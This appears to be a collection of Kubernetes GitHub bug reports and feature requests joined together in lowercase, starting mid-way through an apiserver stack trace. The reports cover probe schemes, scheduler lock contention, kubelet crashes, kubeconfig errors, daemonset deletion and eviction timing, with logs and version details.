0xc424c9d140 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:199 +0x208\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc42093cf30, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb18\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc42093cf30, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c66452, 0xe, 0xc42093cf30, 0xc4200f3c70, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:152 +0x4e0\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4208de080, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         <autogenerated>:1 +0x75\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42ad86b80, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:93 +0x18a\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4297c60c0, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4210f1b90, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3c69211, 0xf, 0xc42664d7a0, 0xc4210f1b90, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:160 +0x6ad\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc425c782c0, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         <autogenerated>:1 +0x75\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:78 +0x2b1\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : net/http.handlerfunc.servehttp 0xc421ea0280, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /usr/local/go/src/net/http/server.go:1918 +0x44\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : net/http.handlerfunc.servehttp 0xc42acda5e0, 0x7f1746e056d0, 0xc4222ad518, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /usr/local/go/src/net/http/server.go:1918 +0x44\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc42acda660, 0x92e1a80, 0xc4222ad518, 0xc4293f5300, 0xc42637e540 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ internal error occurred: invalid padding on input\\\ ,\\\ reason\\\ :\\\ internalerror\\\ ,\\\ details\\\ :{\\\ causes\\\ : {\\\ message\\\ :\\\ invalid padding on input\\\ } },\\\ code\\\ :500}\ \

 \r   what happened  :\r health and readiness checks uses https on port 80.\r \r describing the deployment gives me:\r \r    \r liveness:   http-get http://:80/healthz delay=10s timeout=5s period=15s  success=1  failure=3\r readiness:  http-get http://:80/readiness delay=10s timeout=5s period=15s  success=1  failure=3\r \r ....\r \r warning  unhealthy              10s  x2 over 25s   kubelet, odn1-kube-cluster01-worker01  liveness probe failed: get https://10.241.0.6/healthz: dial tcp 10.241.0.6:443: getsockopt: connection refused\r warning  unhealthy              2s  x3 over 32s    kubelet, odn1-kube-cluster01-worker01  readiness probe failed: get https://10.241.0.6/readiness: dial tcp 10.241.0.6:443: getsockopt: connection refused\r    \r \r health check is defined as:\r \r    \r     livenessprobe:\r       failurethreshold: 3\r       httpget:\r         path: /healthz\r         port: 80\r         scheme: http\r       initialdelayseconds: 10\r       periodseconds: 15\r       successthreshold: 1\r       timeoutseconds: 5\r    \r \r as seen above, the check fails because it uses  https . if we simply just change the port to something non 80, like 8080, then it starts using http as protocol.\r \r   what you expected to happen  :\r \r use the http protocol on port 80 if explicit defined.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r define the liveness probe as above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r tried on both 1.9.5 and 1.10\r \r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1576.5.0\r version_id=1576.5.0\r build_id=2018-01-05-1121\r pretty_name=\ container linux by coreos 1576.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux odn1-kube-cluster01-worker01 4.14.11-coreos  1 smp fri jan 5 11:00:14 utc 2018 x86_64 intel r  xeon r  cpu e5-2650 v2 @ 2.60ghz genuineintel gnu/linux\r

>  \r   what happened  :\r our cluster has about 10k pods and 1k nodes \r when i try to create 200 pods , which is in the same namespace and all have inter-pod anti-affinity rules.\r that namespace already have 1.5k pods, which have inter-pod anti-affinity rules too. \r then i found that it takes about 10 seconds to schedule 1 pod.\r so some pods need to wait 30 minutes to be scheduled\r \r   what you expected to happen  :\r need to schedule the pod more quickly\r \r   how to reproduce it  as minimally and precisely as possible   :\r create pod large scale with inter-pod affinity rules\r \r   anything else we need to know?  :\r i try to do some debug.\r dump the scheduler's stack\r \r i can see the podaffinitychecker predicate is acquiring locks\r    \r goroutine 9029790  semacquire :\r sync.runtime_semacquiremutex 0xc42040c61c \r     /usr/local/go/src/runtime/sema.go:62 +0x34\r sync.  mutex .lock 0xc42040c618 \r     /usr/local/go/src/sync/mutex.go:87 +0x9d\r k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache.  schedulercache .filteredlist 0xc42040c600, 0xc4536dc3b0, 0x23621c0, 0xc4308adaa0, 0x0, 0x0, 0x0, 0x0, 0x0 \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/schedulercache/cache.go:102 +0x8a\r k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates.  podaffinitychecker .satisfiespodsaffinityantiaffinity 0xc4204a5d40, 0xc4485e2380, 0xc43a1098c0, 0xc44f227d60, 0xc43a1098c0 \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates/predicates.go:1228 +0x161\r k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates.  podaffinitychecker .interpodaffinitymatches 0xc4204a5d40, 0xc4485e2380, 0x23526e0, 0xc441046960, 0xc43a1098c0, 0xc42016ec28, 0x0, 0xc4202749c0, 0xc42016ec20, 0x23c6fb0, ... \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates/predicates.go:1003 +0xe8\r k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates.  podaffinitychecker .interpodaffinitymatches-fm 0xc4485e2380, 0x23526e0, 0xc441046960, 0xc43a1098c0, 0xc449f23501, 0x0, 0x0, 0x0, 0x0, 0x0 \r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/predicates/predicates.go:983 +0x59\r k8s.io/kubernetes/plugin/pkg/scheduler/core.podfitsonnode 0xc4485e2380, 0x23526e0, 0xc441046960, 0xc43a1098c0, 0xc4202749c0, 0x0, 0x8, 0x0, 0xc441afbf40, 0x404bf5, ... \r    \r then there are many other go routine are also acquiring the locks.\r \r from the cache.go https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/cache/cache.go\r \r many method need to acquire the lock, especially like updatepod and updatenode, which happens very frequently.\r \r \r \r   environment  :\r we are using  k8s 1.8  and centos 3.10

is this a bug report  :\r  \r   what happened  :\r when i started the command   kubeadm init --pod-network-cidr 10.244.0.0/16  an error occurred.  \r output:\r    \r  init  using kubernetes version: v1.10.4\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.04.0-ce. max validated version: 17.03\r \t warning fileexisting-crictl : crictl not found in system path\r suggestion: go get github.com/kubernetes-incubator/cri-tools/cmd/crictl\r  preflight  some fatal errors occurred:\r \t error kubeletversion : couldn't get kubelet version: exit status 2\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=... \r    \r   what you expected to happen  :\r the kubeadm init not to crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r i added  cgroup_enable = cpuset cgroup_enable = memory  to the end of  /boot/cmdline.txt\r i disabled the swap  systemctl stop dphys-swapfile  and  systemctl disable dphys-swapfile\r i install docker 18.04 et kubeadm 1.10.4\r i did not configure anything more.  \r \r when i check the version of kubelet like this:  kubelet version \r the command returns this:\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0xdd pc=0x2102c04 \r \r goroutine 1  running :\r k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types.init.2  \r \t/workspace/anago-v1.10.4-beta.0.68+5ca598b4ba5abb/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types/isolator_resources.go:42 +0x1a0\r k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types.init  \r \t<autogenerated>:1 +0x5e0\r k8s.io/kubernetes/vendor/github.com/appc/spec/schema.init  \r \t<autogenerated>:1 +0x4c\r k8s.io/kubernetes/pkg/kubelet/rkt.init  \r \t<autogenerated>:1 +0x6c\r k8s.io/kubernetes/pkg/kubelet.init  \r \t<autogenerated>:1 +0x140\r k8s.io/kubernetes/cmd/kubelet/app.init  \r \t<autogenerated>:1 +0x1a4\r main.init  \r \t<autogenerated>:1 +0x54\r    \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.10.4 \r - cloud provider or hardware configuration:   i use a raspberry pi \r - os  e.g. from /etc/os-release :   note: i have the same issue on raspbian and hypriotos \r    \r pretty_name=\ raspbian gnu/linux 9  stretch \ \r name=\ raspbian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r hypriot_os=\ hypriotos/armhf\ \r hypriot_os_version=\ v2.0.1\ \r hypriot_device=\ raspberry pi\ \r hypriot_image_version=\ v1.9.0\ \r    \r - kernel  e.g.  uname -a  :\r  linux black-pearl 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux \r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r i brought up an aks cluster with name  testcluster .then  ran azure-cli command   az aks get-credentials  to set the current  kubectl  context to point to the new cluster.the command ran successfully.\r now on running  kubectl get nodes , i was greeted with the following error\r    \r $ kubectl get nodes \r error: error loading config file \ /home/atom/.kube/config\ : error converting    namedcluster into  map string  api.cluster: duplicate name \ testcluster\  in list  {\r ...\r ...\r  55 73 75 10 45 45 45 45 45 69 78 68 32 67 69 82 84 73 70 73 67 65 84 69 45 45 45 45 45 10    }} \r    \r \r   what you expected to happen  :\r \r expected  kubectl  to use the current cluster context and run the command.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i believe this was caused because contexts with the same name are exists. so testing in such an environment can bringup this issue.\r \r   anything else we need to know?  :\r when this bug happens, we can't run any other commands. i believe this bug exists in a pre run hook.if this bug is valid i will be happy to work on a pr.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.9\ , gitcommit:\ 57729ea3d9a1b75f3fc7bbbadc597ba707d47c8a\ , gittreestate:\ clean\ , builddate:\ 2018-06-29t01:07:01z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r azure aks\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r  linux drogon 4.15.0-24-generic  26-ubuntu smp wed jun 13 08:44:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r

@kubernetes/sig-contributor-experience-feature-requests\r \r   what happened  :\r i have 3 pod cassandra stateful set on ubuntu / kube 1.9\r  cassandra-0   etc/hosts/  looks like \r  \r 172.30.243.180\tcassandra-0.cassandra.gec-system.svc.cluster.local\tcassandra-0\r  \r \r   what you expected to happen  :\r i want like \r  \r 172.30.243.180\tcassandra-0.cassandra.gec-system.svc.cluster.local\tcassandra-0 '\r  172.30.243.xxx\tcassandra-1.cassandra.gec-system.svc.cluster.local\tcassandra-1  '\r  172.30.243.xxx\tcassandra-2.cassandra.gec-system.svc.cluster.local\tcassandra-2\r  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: ibm blumix\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

all of our health checks are currently on containers.  if a check fails, we restart the single container.  i'm looking at the dns pod, which runs etcd and kube2sky and skydns.  we have a healthcheck for skydns - do a dns lookup.  but sometimes it fails because there's an etcd failure or a kube2sky bug.  what i really want is to restart the whole pod when the healthcheck fails.

we have a working version of this that is implemented for the aws cloud provider.  if the  kubernetes.io/aws-lb-cname-zone  label is set we create a cname in route53 with the format:   service-name - namespace - hosted-zone . zone    we'll be creating a pr for this soon and wanted to get people's opinions  @justinsb .

i have a daemonset resource like this:      name             desired   current   node-selector   age newrelic-agent   3         3         <none>          3d       when i try to run  kubectl delete daemonset  to delete this daemonset resource , it hang a few minutes, and exited with result 1.      root@ubuntu192:~/k8s  kubectl get daemonset  name             desired   current   node-selector                                                               age newrelic-agent   0         0         13e0252d-8069-11e6-9cdd-005056881537=13e02602-8069-11e6-9cdd-005056881537   3d      this daemonset still exists.i try to delete it again.this time it hang  8 minutes.      root@ubuntu192:~/k8s  kubectl delete ds newrelic-agent error: timed out waiting for the condition        kubernetes version    use  kubectl version  :  > client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.2.282+c8ea7af912f86e\ , gitcommit:\ c8ea7af912f86e05e22f1e8d0d0b90c8b9fc90d7\ , gittreestate:\ clean\ , builddate:\ 2016-08-05t01:09:47z\ , goversion:\ go1.6\ , compiler:\ gc\ , platform:\ linux/amd64\ } > server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.2.282+c8ea7af912f86e\ , gitcommit:\ c8ea7af912f86e05e22f1e8d0d0b90c8b9fc90d7\ , gittreestate:\ clean\ , builddate:\ 2016-08-05t01:09:47z\ , goversion:\ go1.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : linux ubuntu192.168.14.100 4.4.0-36-generic  55-ubuntu smp thu aug 11 18:01:55 utc 2016 x86_64 x86_64 x86_64 gnu/linux  this is part of  logs  i strace  kubectl delete daemonset command. is that some way k8s get stack strace like docker dameon?  > stat \ /root/.kube/config\ , {st_mode=s_ifreg|0644, st_size=332, ...}  = 0 > openat at_fdcwd, \ /root/.kube/config\ , o_rdonly|o_cloexec  = 5 > fstat 5, {st_mode=s_ifreg|0644, st_size=332, ...}  = 0 > read 5, \ apiversion: v1\ clusters:\ - clust\ ..., 844  = 332 > read 5, \ \ , 512                         = 0 > close 5                                 = 0 > stat \ /var/run/secrets/kubernetes.io/serviceaccount/token\ , 0xc820466518  = -1 enoent  no such file or directory  > stat \ /var/run/secrets/kubernetes.io/serviceaccount/token\ , 0xc8204665e8  = -1 enoent  no such file or directory  > futex 0xc8200e0908, futex_wake, 1       = 1 > socket pf_inet, sock_stream|sock_cloexec|sock_nonblock, ipproto_ip  = 5 > setsockopt 5, sol_socket, so_broadcast,  1 , 4  = 0 > connect 5, {sa_family=af_inet, sin_port=htons 8080 , sin_addr=inet_addr \ 192.168.14.100\  }, 16  = -1 einprogress  operation now in progress  > epoll_ctl 4, epoll_ctl_add, 5, {epollin|epollout|epollrdhup|epollet, {u32=1007984784, u64=140308999610512}}  = 0 > getsockopt 5, sol_socket, so_error,  0 ,  4   = 0 > getsockname 5, {sa_family=af_inet, sin_port=htons 33804 , sin_addr=inet_addr \ 192.168.14.100\  },  16   = 0 > getpeername 5, {sa_family=af_inet, sin_port=htons 8080 , sin_addr=inet_addr \ 192.168.14.100\  },  16   = 0 > setsockopt 5, sol_tcp, tcp_nodelay,  1 , 4  = 0 > setsockopt 5, sol_socket, so_keepalive,  1 , 4  = 0 > setsockopt 5, sol_tcp, tcp_keepintvl,  30 , 4  = 0 > setsockopt 5, sol_tcp, tcp_keepidle,  30 , 4  = 0 > futex 0xc8200e0908, futex_wake, 1       = 1 > read 5, 0xc82029c000, 4096              = -1 eagain  resource temporarily unavailable  > write 5, \ get /api http/1.1\\r\ host: 192.168\ ..., 163  = 163 > futex 0xc8200e0908, futex_wake, 1       = 1 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2965d08, futex_wait, 0, null    = -1 eagain  resource temporarily unavailable  > futex 0x2965d08, futex_wait, 0, null    = 0 > epoll_wait 4,   , 128, 0                = 0 > futex 0x2964fc0, futex_wake, 1          = 0 > futex 0x2964f10, futex_wake, 1          = 1 > futex 0x2965d08, futex_wait, 0, null    = -1 eagain  resource temporarily unavailable  > futex 0x2964fe8, futex_wake, 1          = 0 > futex 0x2964f10, futex_wake, 1          = 1 > futex 0xc8200e0908, futex_wake, 1       = 1 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > sched_yield                             = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2964fe8, futex_wake, 1          = 0 > futex 0x2964f10, futex_wake, 1          = 1 > futex 0x2964fc0, futex_wake, 1          = 1 > futex 0x2964f10, futex_wake, 1          = 1 > futex 0x2965d08, futex_wait, 0, null    = 0 > sched_yield                             = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > select 0, null, null, null, {0, 100}    = 0  timeout  > futex 0x2965d08, futex_wait, 0, null    = 0 > sched_yield                             = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2964fe8, futex_wake, 1          = 1 > futex 0x2965d08, futex_wait, 0, null    = -1 eagain  resource temporarily unavailable  > sched_yield                             = 0 > sched_yield                             = 0 > futex 0x2965d08, futex_wait, 0, null    = 0 > futex 0x2965d08, futex_wait, 0, nullerror: timed out waiting for the condition >  <unfinished ...> > +++ exited with 1 +++

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/325/  failed:  k8s.io  networking should check kube-proxy urls {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:44 nov 21 21:18:24.742: unable to connect/talk to the internet: get http://google.com: dial tcp  2607:f8b0:4001:c05::8b :80: connect: network is unreachable /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:39       previous issues for this test:  32436

bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.7\r \r \r   environment  :\r -   cloud provider or hardware configuration  : google gke\r -   os    e.g. from /etc/os-release :\r    \r build_id=8872.47.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=55\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=55\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r -   kernel    e.g.  uname -a  : \r    \r linux 4.4.21+  1 smp thu nov 10 21:43:53 pst 2016 x86_64 intel \r r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r \r -   install tools  :\r -   others  : \r \r   what happened  :\r i was experimenting with sysctl annotations for ip local port range tuning. i updated the pod metadata through a deployment file. the yaml file validated alright but the sysctl was not supported. instead of failing on a few pods, thousands of pods were created bringing everything down with it. i had to manually delete the failed pods after updating the spec.\r \r <img width=\ 568\  alt=\ screenshot 2017-01-27 14 10 07\  src=\ https://cloud.githubusercontent.com/assets/3392975/22388087/046f288c-e49c-11e6-934b-3857b9ef8d1d.png\ >\r \r   what you expected to happen  :\r the  sysctlunsupported  error should not have continually made new pods when others had failed.\r \r   how to reproduce it    as minimally and precisely as possible :\r use sysctl annotations in a deployment file on a container where it is not supported.\r \r   anything else do we need to know  :\r \r

\r both cleanup rely on the periodic  syncbatch  in the status manger to trigger the final pod deletion. this is specifically checked in   if m.needsupdate synceduid, status  || m.couldbedeleted uid, status.status     https://github.com/kubernetes/kubernetes/blob/v1.7.0-alpha.0/pkg/kubelet/status/status_manager.go l396\r  . \r \r however,  syncbatch  calls  syncpod , which checks   if !m.needsupdate uid, status    https://github.com/kubernetes/kubernetes/blob/v1.7.0-alpha.0/pkg/kubelet/status/status_manager.go l417 , and skip if it's true at the beginning of the function. this means that it will never trigger the final deletion request  unless something else triggers it .\r \r this causes pod deletion to take > 1 minute in many cases, hence a bunch of test flake. \r \r ideally, kubelet should not rely on the periodic  syncbatch  to send out deletion request, but at the least, this buggy logic should be fixed.\r \r \r /cc @kubernetes/sig-node-bugs @dchen1107 @random-liu

/area docker\r /area kubelet\r \r i know there is a daemonset for this purpose, but i want something else, can i schedule kube-system namespace pods   only   on master instances.\r \r i don't see any reason to schedule these pods on k8s nodes. i prefer to create them on the masters. can i do that? i didn't find any way to .\r \r if this is not possible yet maybe this can be consider as a feature request?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r \r could we add plugindir as part of default json options here?\r  https://github.com/kubernetes/community/blob/master/contributors/devel/flexvolume.md default-json-options\r \r   what you expected to happen  :\r it is useful when wrapping other storage to create a global mount path  e.g. makeglobalpdname \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @saad-ali @jingxu97 \r

while debugging https://github.com/kubernetes/kubernetes/issues/51717 issuecomment-326433510, we found that despite memcg notifications waking up the eviction manager, the eviction manager was unable to take action before a system oom ~6 seconds later.  the following sequence of events occurred:\r 1. memory threshold crossed.\r 2. memcg notifications triggers synchronize call in eviction manager\r 3. eviction manager gets summary stats  ~10 seconds old \r 4. eviction manager determines there is no pressure  because stats are old \r 5. repeat steps 1-4 a couple times  for ~6 seconds \r 6. system oom\r \r cc @derekwaynecarr @sjenning @dchen1107 @vishh @yguo0905 \r /sig-node

